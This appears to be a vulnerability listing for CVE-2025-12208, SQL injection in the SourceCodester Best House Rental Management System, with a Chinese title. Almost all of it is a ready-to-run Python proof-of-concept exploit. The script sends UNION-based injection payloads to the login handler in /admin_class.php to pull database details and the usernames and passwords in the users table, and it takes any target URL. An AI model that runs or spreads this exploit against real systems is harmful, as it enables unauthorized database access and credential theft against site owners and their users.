CVE-2025-12208: SourceCodester Best House Rental Management System SQL注入漏洞

import requests import sys # CVE-2025-12208 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Vulnerability: SQL Injection in /admin_class.php login2 function def exploit_sqli(target_url, payload): """ Perform SQL injection attack on login function """ login_url = f"{target_url}/admin_class.php" # Malicious payload for SQL injection data = { 'Username': payload, 'Password': 'anything', 'login': 'login' } try: response = requests.post(login_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def extract_database_info(target_url): """ Extract database information using UNION-based SQL injection """ # Payload to extract database version and name payload = "admin' UNION SELECT NULL,database(),version(),user()-- -" print(f"[*] Extracting database information...") result = exploit_sqli(target_url, payload) print(f"[+] Response: {result[:500]}") return result def extract_user_credentials(target_url): """ Extract user credentials from database """ # Payload to extract usernames and passwords payload = "admin' UNION SELECT NULL,username,password,'1' FROM users-- -" print(f"[*] Extracting user credentials...") result = exploit_sqli(target_url, payload) print(f"[+] Response: {result[:500]}") return result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12208.py <target_url>") print("Example: python cve-2025-12208.py http://localhost/rental-system") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] CVE-2025-12208 SQL Injection PoC") print(f"[*] Target: {target}") # Extract database information extract_database_info(target) # Extract user credentials extract_user_credentials(target) print("[*] Exploitation complete")